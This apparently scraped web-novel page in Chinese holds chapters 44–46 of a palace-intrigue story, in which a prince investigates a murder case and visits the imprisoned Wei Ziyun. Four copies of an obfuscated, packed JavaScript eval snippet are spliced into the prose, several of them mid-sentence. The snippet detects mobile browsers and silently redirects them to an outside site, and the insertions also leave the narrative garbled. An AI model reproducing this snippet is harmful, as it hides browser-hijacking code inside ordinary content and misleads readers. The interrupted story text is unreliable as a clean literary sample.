徐氏大嗓子嚎出来，满堂瞩目。 其余几位自也领了份务必让卫氏背上“斩立决”的指示，却无人同他一样不怕死——照原话转述。 白歌和宁佳与斜着徐氏，目光皆是费解。 这人没病罢？ 步千弈无声笑笑，心想墨川那位浪荡子还真蠢到药石罔效了。 宁展貌似波澜不惊，挡在桌下的拳头却是紧了又紧。 他盯着面前这碗早已融成甜渣的冰酪，额前渗出细汗。 抬眼，是午时尤为刺眼的日头，扎得他双眸发晕，周遭热气蒸腾，烫着皮肉任油泼般灼痛。 向阳堂迎着的，不止顶上毒焰四溅的烈日而已。 宁展瞥一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679249|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步千弈桌前同样融化作汤的冰酪，再看席间被晒得大汗淋漓的七位家主，逐渐了然。 早晨，八方向阳的正堂依花傍草，雅致明净。时下置身此间，必受炎阳炙烤不说，甚至四面带起的风都好比卷着烧红的炭。 燎人皮肉，磨人骨筋。 万事俱备，再搭上一盏盏单是闻着便能甜死人不偿命的冰酪，几番交谈过后，众人口干舌燥，如坐蒸笼。 乃尔阴鸷，道这向阳堂是件逼供的刑具也不为过，要的就是令人后知后觉的窒息感。 但凡有脑子，若不欲被这蒸笼活活熬死，该及时出逃。 可惜此处还是蠢人居多。 徐氏见宁展没个表示，不悦道：“嘉宁堂堂世子，是要包庇一个杀人如草的贱民吗？” 宁展好整以暇，掏出块方巾拭汗，道：“此案尚未审结，卫氏的罪行及令郎之过，皆有待详察。人，怎可由阁下说斩便斩呢？” 徐氏拍案而起，恼羞成怒道：“那你说斩不得便斩不得吗！宁世子好威风！” 他把锦袍一抖，接着说：“你可知吾儿何等身份？我朝兵部侍郎徐临帆，乃是我胞弟！那卫氏杀了我朝命官的亲侄儿，还想脱罪偷生？！就是宁世子今次非得纵他滥杀成性，来日，齐王陛下也绝不会放过此人！” 不知天高地厚。宁展松了拳头，不由对这位天真的老伯心生同情。 且让他再骄傲一阵又如何？ 只能搬出齐王说道的可怜人，殊不知齐王的好儿子连他那命官胞弟的一条贱命都不留。若没有青竹阁，徐侍郎怕是在景安陋巷躺至发烂都无人在意，任飞禽走兽拆吃干净。 宁展正要开口，堂前忽而传来一声有力的奏报。 “微——王——驾——到——” 众人接连伏地，道：“拜见微王！” 唯有步千弈躬身作揖，拜而不跪：“儿臣拜见父王。” 步长微挥退周连，笑呵呵道：“诸位快快平身。” 他就近入了家主边上的末位，与步千弈一个列堂间前座，一个列堂间后座。父子俩彼此照应，倒像对在座形成头尾包夹之势。 老爷们堪堪起身，迎面即是近在眼前的步长微，差点儿一个腿软跪回去。七人不见半点墨川大家的架子，个个杵在原处陪笑，静候步长微赐坐。 步长微可比步千弈令人觉着亲和多了，扬眉瞬目间便招呼起来，恨不能逐个将人请到座上。 “大家远道而来，着实辛苦。只是本王近来夙夜在公，有失远迎，望诸位莫介怀。” 先前闹得越疯的主儿现下越蔫，硬撑着回话的球又踢到了闫老二身上。 “微王言重了，我等冒昧到访，多有叨扰。”闫氏抖着眼皮子，全力效仿大哥的口吻。说罢，他起身再拜。 “欸——是我们步溪招待不周。” 步长微笑意不减，说的却尽是赶客的话。 “而今城中错乱无章，本王也力不从心。但无须多虑啊，千弈会点上几位得用的手下，护送你们安全回乡。两年后便是七州大典，若步溪仍有殊荣承办庆宴，届时，欢迎诸位前来观礼。” 在座谁不知七州大典是怎么一回事？其实哪有什么好观礼的。 44. 就计 假使庆宴设于嘉宁，那自然是恢弘大气，值得游览，应的就是一字“典”。 再不济设在墨川，纵浮靡俗丽些，排场足够豪阔，也能应一字“大”。 若两年后仍由步溪承办，必定如从前那般简朴无华，毫无意趣，仅剩干巴巴的“七州”二字，得个共聚之意罢了。 步长微如此直白，连闫氏都听得明白，无计可施，几个大肚子更则不敢作声。 徐氏咬咬牙，豁出去了。 他赫然跪向步长微，大放悲声，叩拜道：“微王陛下，吾儿尸骨未寒、魄散他乡，那罪魁祸首不能伏法受诛，草民岂敢一走了之啊！草民徐临航，恳请微王陛下主持公道——” 话音将落，席间数位亦然随之叩首，哭天抹泪。 “草民刘启，恳请微王陛下主持公道！” “草民闫越，恳请微王陛下支持公道！” ...... 步长微大惊失色，忙唤周连上来搀扶七人。 可周连一介老翁，扶得还赶不上他们跪得快，根本难以顾及全堂。 四面透风的向阳堂没法关住这片鬼哭狼嚎，周遭巡卫及侍奉宫娥进也不是、退也不是，只好照旧于堂外十步处埋首立候。 老爷们闹得步长微近乎以为自己还在金銮殿上，幸而这回的救兵不用等人去请。他松了口气，先起手安抚：“诸位，少安毋躁，少安毋躁。” 七人跟商量好似的，齐齐噤声，自下仰望微王，神色苦情无比。 步长微像是终于想起前头端坐的儿子，郑重道：“千弈，若为父将此案全权交与你来裁定，你待如何处置？” 步千弈看向步长微，道：“儿臣以为，兹事体大，不可马虎。当处斩监候。” 闻言，老爷们眼前一亮，觉着步世子或是个讲理的主儿，遂纷纷打直腰板。 徐临航朝着步千弈膝行方寸，拱手探问：“草民斗胆。敢问步世子，您的意思是没有个十天半月，这案子便结不了了？” 墨川七大家受命而来，倘看着卫子昀的命从刀下出逃，且不谈自家儿子能否魂归故里，怕是他们几个老头都要“客死他乡”。 为免夜长梦多，卫子昀当然是死得越快越好。如能枭首示众，于七大家相当大功一件！ “也不见得。”步千弈声色淡然，“宁世子仁义，想来不多时便能交出一份公允的结案书。” 徐临航立马给步千弈磕头，恳切道：“草民愚昧，不懂查案。但要真正的公允，还请步世子与宁世子同行，互为佐证，不至于落人口实。” 比之笑里藏刀的伪君子，徐临航情愿相信说一不二的冷骨头。 道是互为佐证，实则要步溪盯紧嘉宁。毕竟步长微最不想看见各州间争斗无休，步千弈若还认这个亲爹，且不欲同宁展一般退列少君，至少得按照步长微“讲信修睦”的信条来。 步千弈却无意与宁展接触过甚，遑论携手处事了。若不是宁佳与，银喉长尾雀他都懒怠多管。 “白歌。”步千弈不冷不热地吩咐，“你协助宁世子查案。” “是，殿下。”白歌拱手领命。 徐临航欲言又止，步长微摆手宽慰，接过话茬：“如此甚好！诸位尽可安心，既是千弈钦点之人，就没有办事不利索的。” 此事微王作了主，老爷们已不便再说什么，只得谢恩离宫。 今番当众得了步千弈一句“斩监候”，即步溪站上了卫子昀必须死的立场，尘埃落定不过早晚。七人还算有收获，终能一心扑向儿子的丧葬之事。 - 宁展与白歌先后上了听雪篷车。 眼见宁佳与也摇着扇子提步要走，步千弈这才起身跟随，轻声问：“雨妹妹，你不打算回家一趟吗？今晨李主事给白歌递了话，似乎不大高兴。” 宁佳与不敢猜师父究竟对她是忧是骂，打哈哈道：“这次回去，师父横竖都要罚我的，多一板子还是少一鞭子，都不差这一会儿啦。” “李主事舍不得对你下狠手。但雨妹妹若还像儿时那样气李主事，日后没准要自责。”步千弈无奈摇头，关切道：“昨日给你的含桃，可吃完了？” “没呢！”宁佳与边答边撑手上车，“若是师父气得急，青哥哥可要替我美言两句啊。” 她掀帘入内，后脑遭了白歌一道白眼，俨然将李主事今晨递的话一并翻了进去。 步千弈看着帷帘落定，无声交代白歌：“保护好她。” 白歌颔首，驱车离宫。 依照宁展的意思，车往大理寺狱驶去。 “元公子，我们这是......”宁佳与将银骨扇收回腰间，抬袖擦拭额前汗，“去见卫子昀？” “对。”宁展煞有介事地叹了口气，“只不知寺卿大人能否通融。” 宁佳与看穿他的心思，不禁嗤笑，后朝外喊道：“白婶婶！要提卫子昀，报你的名儿好不好使啊？” 白歌没觉出宁佳与求人办事的诚意，反而感受到挥之不去的恶意，自然不搭理她。 马鞭在空中抽得“哗哗”响，似是警告马儿不可松懈，亦似申饬舆内不识好歹的狐狸。 宁佳与当即了然，于是端起两臂，嬉皮笑脸地寒碜白歌：“师兄——小师兄——帮帮忙嘛！” 外头并未回话，但宁佳与可以想见他此刻满脸恶寒，故穷追不舍道：“好师兄——拜托你咯——” 白歌登时将马鞭抽向窗口，呵斥道：“要活着见卫子昀，就给我闭嘴！” 宁佳与心满意足地收声，竖起右手拇指，隔空点了点帷帘外的白歌，扬起下巴朝宁展无声炫耀：“搞、定。” 宁展鬼使神差地为她鼓掌，心中佩服宁佳与厚颜。 许是为着防外头那位顺风耳，宁佳与赫然拉近两人的距离，附耳道：“景公子不进宫情有可原，但以宁兄弟是您的亲信，怎的也不见来？” 宁展僵硬地捏了捏另一侧耳垂，烫手。 他瞥一眼随风荡起的帷帘，轻声回：“......阿宁不能来。” “为何不能？” 宁佳与歪着脑袋，二人几至鼻息相交。 宁展藏好那段灼热的指节，望向宁佳与，颇为坦诚：“他若来了，我便是进宫宣战的勇夫，瞧着不够凄惨。” 宁佳与一愣，片刻后失声笑倒在自己那侧。她竟不知，宁展何时将她惯用的小把戏学了去。 “做什么。你这法子管用，”宁展两耳发麻，不自觉往边上挪了些，口吻依旧理所应当，“我借来试试不行吗？” 宁佳与忍着笑勉强直起身，也不挤兑他哪天问自己借的，压着嗓子说：“所以，请褫之事，元公子早有筹划？” 宁展摇头，与她相视而笑。 “没有。请罪折子是我夜里写的，约莫今晨卯时送出城门。”他依稀瞧出宁佳眼中的担忧，复而轻松道：“虚名罢了。那位子该是我的，总归还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679250|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是我的。小人抢不动，也坐不稳。” 虽是虚名，却得来不易。 宁展究竟是唱的凄惨，还是当真悲切，宁佳与不会不明白。她抿了抿嘴，不再追问。 白歌收鞭勒马。 “到了，下车！” 宁展堪堪撩起帷帘，即闻其声：“元兄！元兄——” 他探出车门望，景以承果然追到了大理寺狱，旁侧立着脸色不大妙的以宁，身后的狱门漆红而威厉。 待宁展和宁佳与落了车，白歌大步流星越过二人，期间象征性地朝景以承揖手作礼。景以承回以标致的八齿笑，白歌视若无物，径直向狱丞那头走。 “元兄，我们等你好久了！”景以承没往心里去，一面说，一面接过狼毫及宁佳与替他记了几页的小册，拱手道谢：“有劳小与姑娘，多谢多谢！” “景公子客气。”宁佳与笑道。 宁展瞧着比景以承还高兴，毫无犹豫地抚掌夸赞：“景兄机智过人啊。在下人还在宫里喝茶，你便先一步到了这儿，太有先见之明了。” 景以承很是受用，心道自己当真是可塑之才，乐滋滋地谦虚：“哪里，是阿宁不放心，在院儿里完全闲不住，我们便合计来大理寺狱碰碰运气！” 什么样的人跑大牢能碰上运气？以宁简直无话可说。 他远远便瞧见宁展的两颊不住淌汗，不问也知道这一趟会面受了多少非难，赶紧呈上预先备好的水葫芦。 宁展接了，却不动，只顺手别在腰间，口头还在感慨景以承是当世神算。 白歌疾步折返，直白打破几人的和乐：“卫氏不能提出来，至多放两个人下去探视。” 若是在景安、汴亭、琅遇几个小州，凭宁展的权位，大理寺倒是可以卖他这个提审重犯的面子。而今在步溪，步千弈不出面帮他，步长微更不便偏袒于他，未到万不得已，他也不可能与人硬碰硬。 宁展深思熟虑，正色道：“那么，还是请白公子与我同去罢。” 白歌有令在身，须得作为人证看好宁展，按说没有谁能轻易顶替他的位置。 除非...... “师兄，你素来不喜这等‘晦气’地界，对不对？”宁佳与蹿到白歌面前，谄媚道，“我也是青哥哥的左膀右臂啊。此事交给我，定不辱命！” 白歌深知与她纠缠没好处，下意识地敷衍应了声，便将碍眼的师妹拨到一边。 应完他就有些后悔。 白歌正当改口，却被旁人抢了话。 “元兄，可是我也想进去......你看我这。” 景以承胳膊纤瘦，提着包袱里足有八斤六两的端石砚，欲哭无泪。 “砚台和墨条都背来了......” 宁展看向白歌，道：“白公子，你看如何？” 景以承立马举起包袱发誓：“白公子，我不会添乱的！我就跟在后头写字，绝不插嘴误事！” 白歌灵光一闪，豁达道：“不。承仁君，您机智过人，不仅得说话，还得多说。大家齐心协力，方事半功倍。” 说罢，白歌引着景以承往狱门走，心道有了这傻小子搅局，宁展和宁佳与想翻出什么水花都吃力。 听着不过点头之交的白歌对自己一番褒奖，景以承哪里还有眼泪？心里美得打滚！ 他忽然觉着手里的东西一点儿都不重了，回头还要修书送回景安，向父亲好好说道自己的才能。 45. 狮子 狱丞领三人走下大狱，越往深处去，越是东西难分，漆黑一片。 他深悉线路，在黑暗中行进自如。宁展、宁佳与、景以承却不能松懈，依次紧随其后，脚下宛踏田野。 宁展心里掐着时辰，粗算几人约莫走了两刻钟，狱丞不声不吭停了步。 不知何时，宁佳与落至队尾，而莫名冲到宁展前头的景以承则径直踩上狱丞脚跟。 宁展凭着模糊的身影将人拉回两步，景以承站稳后才意识到自己好像闯祸了。 可狱丞俨如被他一脚踩死了似的，什么话也不说，致使景以承拿不准这会儿是否能开口，又可否道歉。 周遭静得人脊背发凉。 不多时，三人耳畔响起链子“丁零当啷”的打架声，在这寂若死灰处聒耳惊心。 一朵微弱的火苗徐徐染红微光，直到火苗三寸之内的事物依稀可察。 如宁展途中所料，脚下确是铺了满地的枯草，或因人来人往及此处终日湿冷，走着实而泥软，不似寻常石路、砖地。 三人面前是一扇向内推开的犴门，旁边绕着几段堪堪被解开的粗长锁链，正摇摇晃晃挂在围栏上。 狱丞侧身让道，把火折子递与离他最近的景以承。 才踩了人家脚跟，景以承不敢耽搁，十分庄重地捧来那只火折子，脖颈亦然挺得笔直。 狱丞抬手向犴门，恭敬道：“请。” 三人逐个上前，狱丞有条不紊绕回铁链，锁紧木栅，将他们关在门内。 “半个时辰后，小人会来开锁。时不可失，望诸位胸中有数，照章办事。” 语毕，狱丞快步退入黑暗。宁展望着他离开的方向，取下景以承手中的火折子，不动声色。 亮光所及之处固然有限，火焰不足景以承拳头大小，但适间一直由他自己掌焰，面对四下未知尚能镇静。哪想宁展招呼不打，取走了他在此为数不多的安全感。 景以承一下搂紧包袱，心贴着笔墨纸砚狂跳。 宁展不急于察清他们踩在怎样一块儿地上，反将光亮伸至栅栏外，打量起径道两旁随着延伸而高高堆起的草。他很快确认了猜想，收回火折子，递还景以承。 景以承接过这一小撮希望，暂且舒了口气。 置身黑暗，人们目光所及往往比当下预测更可怖。若无决心探到底，其实不如不见。 景以承把火折子举高，想想自己可是这里最年长的一位，咬牙往前带路。 依着微弱的光亮，三人将地牢从头到尾粗略摸索一番，可知囚室左六间、右五间，室内草垛高约四尺，且皆有数卷草席横于垛前。 席中裹着些难以挥散的秽气，白骨断骸散落在囚室的各个角落。 最终，三人聚焦于右侧最大的一间囚室，里边儿坐着整个地牢里除他们以外，唯一气息尚存之人。 此人蓬头散发，扶膝而坐，隐约露出的脸部被道道猩红划得面目全非。宁展一眼便认出他握在手里的马刀，那是青竹隐士的荣誉。 宁展肯定，那人就是卫子昀。 见宁展驻足，宁佳与也不催促，只问景以承要来火折子，率先推开面前并未上锁的木门，向内走去。 这间囚室足够宽敞，然高墙上，却连一扇令楚珂久久不能目移的窄窗也无，透不进丝缕天光。 地牢长廊两侧，亦不曾燃着那些个冲天咆哮的火把，以致遍布八方的昏沉、湿冷、寂静包抄袭来，不分昼夜地吸食着人身上微乎其微的残息。 光焰摇曳，宁佳与踱步环顾。 她发现，这里有像样的榻、结实的桌、趁手的笔和齐整的纸，照常不该出现在此的物件样样俱全。 倘再裁几套合身的敛服，这便是个封了棺板的阴宅，不止能葬一个抱憾而终的庄稼汉。 七州境内收押重犯的地牢都建得大差不离，不同之处，就是地牢在狱中的位置。 这般地界，宁展身为权位颇高的嘉宁世子，时常走动。 作为听雪隐士，宁佳与来得也不少，故对此处一反常态之况心有疑虑，却也还算泰然。 莫大的陌生和恐惧独独缠上了景以承。 眼看世子老师和小与姑娘完全顾不上他，景以承是半步不敢多走，索性贴地坐下。 早知地牢里暗得什么都辨不清，他何苦扛这满满一兜重如磐石的文房四士？如今，也就那块儿能砸死人的砚台可以派上点用场，作个防身之物，以免撞上暴起的干尸只得任其又撕又咬。 下回再有此等“好事”，他一定向微王学习。 不与人争！ 景以承攥紧端石砚，目不转睛地看宁佳与带着光离囚犯愈来愈近，不禁冷汗直流。观宁展的反应，他猜那人兴许就是传闻中的卫子昀，却实在没胆子想那到底是个老实本分的农夫，还是杀人如草的狂徒。 宁佳与稍稍弯腰，火折子靠近长凳。立在门外的宁展这才注意到，佩刀始端曾经威风八面的雄狮业已伤痕累累，里头削铁如泥的白刃更是不翼而飞。 那人此刻所握的，不过是一把血污四溅、积尘纳垢的刀鞘而已。 宁展取下腰间的水葫芦，踏进囚室，走向那不堪入眼的刀鞘。他与对面相互无言，只将葫芦递出。 水声闷晃，葫芦赫然映入眼帘，那人猛地抬头。 这东西，他熟悉得很，可来者的面孔，非但不是物主，甚至未曾在他过去的人生中出现。 他深深望入男子的眼眸，仿佛能从里面寻到他想要的答案。 两位都是顶顶固执的主。 他不接葫芦，不低头。宁展不避他目光，不放手。 僵持不下间，宁佳与兀自站起，轻咳一声，宁展终于开口。 “以宁给你带的，喝。” 以宁...... 时至今日，卫子昀几乎快忘了这个姓名。算来，他有将近九年没听过山猫的本名了。 山猫便是以宁，狮子是他自己。从前，能够直呼姓名者，仅有为青竹阁众人定名，让他们得以重活一次的主子。 青竹斗场，三年一开。择千夫入阵，以百日为期，决胜山巅。 狮子当年从青竹斗场杀出重围，恰逢山猫正式入阁的第九个月。 彼时，十三岁的卫子昀是熬磨三载、摘得桂冠的沙场雄狮，十二岁的以宁还是列席观阵的后辈之一。 狮子是山猫的引路人，亦是众多后生难以企及的前贤。 卫子昀在斗场上赢得那副象征荣誉的佩刀，便意味着领命出征。 以宁不能策马相送，于是高举葫芦，为他践行。 卫子昀抢过来痛饮大半，再将葫芦原路抛还。他拖着大获全胜的浑身创痕，背起青竹阁的厚望，至此远离嘉宁，长留步溪。 二人本该久别重逢，然时异势殊，一个在艳阳下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679251|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一个在黑牢里，竟是连个正经面都见不上。 卫子昀双手接过葫芦，就着头顶的微光仔细端量。 少顷，他笑了。这就是当年为他践行的水葫芦，甚至比从前打磨得更光、更亮。 它过得很好，想必它的主人也是。 “我......”卫子昀唇齿翕动，沙哑道，“草民，多谢殿下。” 他拨开塞子，抬臂昂首，任清水冲过干涩的唇角、灼热的喉咽，扫净枯涸，浸润全身。 宁展默然，沉掌擦拭他当年亲自交给卫子昀的雄狮刀。 狮身精壮威武，沿刀鞘盘踞而上。原先霸气逼人的狮头似拦喉斩首般，与鞘中尖刀一并消失得无影无踪。 宁展轻手扯开卫子昀通红的衣襟，痕迹鞭鞭见血。他低眸看着卫子昀，冷不丁道：“他们对你用刑了。” “殿下，我嘴硬，您是知道的。”卫子昀颔首，一如当初从宁展手中接下佩刀时那般恭敬，“交不出他们想要的东西，自然要受些苦。” “为什么？” 宁展目不转睛，像是质问曾经的雄狮，而不是面前的卫子昀。 卫子昀将葫芦搁在桌上，摇摇头，答不出话。 “到底为什么。” 宁展盯着埋头没入昏暗的脸，实在无法说服自己此人就是青竹斗场上鳌里夺尊的飒爽儿郎。 卫子昀蓦地站起，带着怀中刀鞘，跪在宁展面前，泥首谢罪。 不料宁展一把拽起卫子昀的粗衣，将人摁回木凳，压抑道：“我在问你，为何屡次替人瞒而不报。事到如今，又是为何偏要与那人撇清干系！” 宁展的声音，景以承近在门外却听得模糊，宁佳与则因他鲜少表露的狠戾意外。 这种狠，与当初割她后颈时完全不同。 景以承在门外没待多久，便觉着暗处有无数双眼睛监视着自己，让人寒毛卓竖，嗓子眼更是愈加犯恶心，反起酸水。他赶忙拎包袱溜进囚室，寻了个瞧着可靠的墙根准备落坐。 宁佳与晃眼瞟见蹑手蹑脚的景以承，当即将人拉到身边看着，省得被什么东西吓撅过去。 景以承不敢作声，看向宁佳与的眼尽是感激。二人围着火折子，沿桌而坐，那头是卫子昀血肉模糊的脊背，以及静待回应宁展。 卫子昀垂着脑袋，把握刀鞘的手不住发颤，嘶哑道：“公子，草民愿以死谢罪。” 闻言，宁展将布襟甩回卫子昀脸上。 “如你所愿，外头那群人都在盼你早点儿死，且要死得越惨越好。”他望向刀鞘，耻笑着，“就跟这头狮子一样，当众问斩，身首异处。” “草民绝无怨言。”卫子昀目光坚定。 宁展避开了卫子昀的眼神，在他身旁坐下，与他一样背对身后的宁佳与和景以承。 “你没有怨，我有。” 卫子昀闻言又要跪倒，宁展伸手按住了刀鞘。 “我怨你奋勉半生，糊涂一时。” 卫子昀立刻道：“我没有糊涂，也——” “我尽力在赶路了，不会让你们苦等下一个九年。但我还是来晚了，”宁展像是听不到卫子昀的话，依旧专注面前的漆黑，“他们一定要你的命。” 他们一定要看你枭首示众。 再用你的头颅，去换当今世家大族没资格碰的东西，换各州之间一推就倒的安稳，换那所谓的天下共和。 46. 笑话 “殿下，草民这条命，本该如此。” 刀鞘“喀啦”响了几声，卫子昀似乎从里面摸出什么，迅速塞入宁展左手掌心。他笑着将宁展的掌卷成实拳，又唐突地拍了拍拳眼。 “这条命，死得值。” 宁展作劲捻几下手心的物什，拉着卫子昀转身。二人面向方桌，与宁佳与、景以承对坐。 他拇指屈向掌内，掖着纸条，为卫子昀抬手引见：“这位是景安承仁君，景以承。这位是......步溪人氏宁佳与，与姑娘。” 卫子昀正要一一拜过，却见宁展赫然抬起两指，竟将字条隔空飞向对面的姑娘。再瞧姑娘随手晃过空中，不声不响地接了。 须臾之间，掌阁就这么把他拼命保下的东西拱手让人了？ 卫子昀兀自闭了嘴，直勾勾审视那位既是步溪人氏，又莫名姓宁的可疑女子。他此时的脸色，堪比以宁平日见了景以承，即是难以遮掩的不解。 宁佳与完全没看清宁展给她抛的东西，下意识便出手收住，藏了起来。 她倒是不介意卫子昀的目光，只挥起已然空荡荡的右手，客气道：“你好？” 景以承与近乎面目全非的卫子昀劈脸相对，哪里有胆子先起话头。这会儿宁佳与先开口，他才跟上两声问候。 卫子昀抱拳向二人回礼，神色相当复杂。 “殿下，这位......”他侧向宁展，谨慎问，“与姑娘？可是世子妃？” 除此之外，卫子昀再想不出掌阁如此行事的由头了。 话音落定，三人的身形无不僵硬，脸上却是个顶个的精彩。 宁展若有若无地瞟一眼宁佳与，揶揄道：“七州三位世子，不知卫兄意下所指，谁是谁‘妃’呢？” 卫子昀脱口而出：“自是——” 嘉宁世子、嘉宁妃。 话到嘴边，卫子昀忽觉不妥，麻利改了口。 “自是草民多嘴多舌了。近来在这鬼地方，对外头的事一概不知，嘴上没了把门儿。”他拱手给宁佳与和景以承赔罪，“两位莫怪。” “不碍事。”宁佳与将火折子往桌案中心移，让每个人的一颦一笑更加明晰，“当务之急，还是请卫公子谈谈楚珂姑娘罢。” 卫子昀面对掌阁及同僚向来谦诚，然涉及楚珂，他便如宁展所斥那般，屡屡瞒而不报。事已至此，他若还不能给青竹阁一个交代，恐抱憾终天。 “殿下，您可知那群世家子弟，连年以何为乐？”卫子昀正色道。 宁展眼放七州，耳通八方，当然知道。 但此事，可以从任何人口中道来，唯独不能与跟墨川暗暗较劲的嘉宁沾上丁点儿干系。宁展若无一举扳倒墨川的力量轻易出手，牵累之人何止二三。 “是焚林捕猎。” 卫子昀自问自答。 “步溪境外，兽类一旦落入他们手中，什的圈养虐打、供人玩弄，不过冰山一角。而今人死了，世家大族不会轻易放过涉事凶犯。” “楚珂。”他凝视着中央的光焰，斩钉截铁，“就是被我这个凶犯囚禁多年的小鸟儿。我辛辛苦苦养大的，旁人要抢，我不高兴。” 卫子昀看似直白，实则言语含蓄。在座都是聪明人，将个中避重就轻的回护意味体会得很彻底。 景以承不敢插嘴，早早捏住狼毫“唰唰唰”记起来，宁佳与和宁展对此见怪不怪。 “这案子事出有因，倘卫公子愿将供状添补完整，兴许能酌情减罪。” 宁佳与明白宁展救人心切，试图说服卫子昀如实为自己的罪名申辩。 “楚珂出身不凡，来日自有步溪王室保她一世无忧，你大可安心。” 卫子昀原以为此女或有过人之处，时下听了这一席在他看来完全自以为是的说词，难免怒道：“姑娘知道那群世家公子猎的是何物？都是未及化形的步溪幼兽！换言之，是活生生的人！真如你所言，为何过去不见待众生一视同仁的步溪王室有所作为？难道出身平凡，就合该为全大局任由权贵迫害吗！” 步溪为七州和睦尚且对此等恶行视若无睹，那所谓不凡的出身，能保全楚珂到几时？ 卫子昀不信步溪，更不信宁佳与。 宁佳与并不恼，反问道：“卫公子怎知王室无所作为？” 她见卫子昀眼里满是感愤，缄口不语，似乎在等着听她的“笑话”。 宁佳与却面色温和，接着解释：“此事由外州人大义揭露，我猜，步溪王室要顺水推舟，明令严惩恶行。这般，卫公子便是步溪的恩人。步溪臣民往后的日子也不会再难过，包括楚珂姑娘。” “是吗，那最好。”卫子昀敷衍道，“但愿王室莫要浪费了草民这条小命。” 今番步溪未耗一兵一器，即可借着农夫斗杀案的风，正中墨川大家要害。且到头来，站在对立面的冤家仍是嘉宁与墨川，步溪这碗水夹在其间反愈发稳当。 此事若成，不仅卫子昀算得上步溪的恩人，青竹阁亦能在步溪王室那儿记上一功。 对嘉宁世子来说，眼下这块步州令就悬在刑场的鬼头尖刀之上。 宁佳与无意取卫子昀的命，甚至望其凭功抵过，步溪王室却没有这个意思。是以须得他松口，让卫子昀人头点地，难以触及的大州敬令方手到拈来。 然于青竹掌阁而言，他费尽心思安入步溪的棋，不仅被步千弈将计就计化为己用，连这棋子最后的去留也因此被旁人捏在手里。 青竹阁所有人的命都是他买来的，正如卫子昀所言——这条命本该如此。此际，宁展大可舍车保帅，但他不甘心。 他带走的，不能只有敬令。 “你真的想过楚珂吗？”宁佳与冷不丁道，“你以死谢罪后，她就万事顺意了？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679252|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 卫子昀质疑道：“不是姑娘适才说，王室能保她来日无忧吗。” 宁佳与不答卫子昀，自顾自推想：“楚珂身为雀族，却甘愿被你剪掉翎羽，困在那片小天地。而你晨兴夜寐，为她置办价钱不菲的彩绸、移栽香樟。你们同在屋檐下，相处融洽，她怎会在落难关头弃你于不顾？” 卫子昀不作声，敛了视线。 “除非。”宁佳与端起两臂，“是你嘱咐楚珂与你划清界限，让她一口咬定你就是十恶不赦、无情无义的凶犯。” 卫子昀攥实手中刀鞘，眉头锁起。 “你给她出了什么计策？”宁佳与浑不给他喘气的机会，接着追问，“或是承诺？ 卫子昀竭力平复呼吸，道：“你到底想怎样？” “是半真半假的计策，和你不能兑现的承诺。”宁佳与快速道，“对吗？” “是又如何！” 宁佳与身形一顿。 宁展用指节敲了敲卫子昀面前的桌案，无言告诫。 “卫公子不必动气。在下只想提一个小建议，至于用不用，”宁佳与重新笑开，“权看卫公子。” 卫子昀冷静下来，道：“什么？” “在下私以为，依楚珂姑娘的脾性，卫公子不声不响地走了，她怨你一辈子。” 宁佳与捧着火折子，手中的光焰越来越暗。 “她也许会回到孤身前行的往昔，不论在这昏暗的牢里，还是在明媚的集镇，路都不甚好走。卫公子，和她道个别罢。” 卫子昀分明有一瞬的动容，却拱手道：“萍水相遭，不必了。多谢姑娘。” 白歌时常骂宁佳与好管闲事，宁佳与便骂他冷血无情。现下，宁佳与倒觉得白歌骂得对，于是识趣地抿嘴。 “诸位，时辰已到。”外头飘来冰冷的提醒。 景以承闻声弹起，连忙拾掇桌上的笔墨纸砚。 宁展和宁佳与同时起身，一高一低碰上对方的目光，皆未稍加停留。 唯有卫子昀定在长凳上，仍将雄狮刀鞘把得极牢，似是不舍，亦似辞行。 景以承抱稳包袱，寸步不离地跟着宁佳与往外去，生怕一个晃神被黑暗中蠢蠢欲动的鬼怪拉走。 宁展弓着腰，凝望对面囚室堆起的草垛，与卫子昀低语：“狮子，等我们回来。” 他堪堪转身，孰料卫子昀朝着他的背影陡然而跪，刀鞘高举过头，双手奉上，声气朗朗。 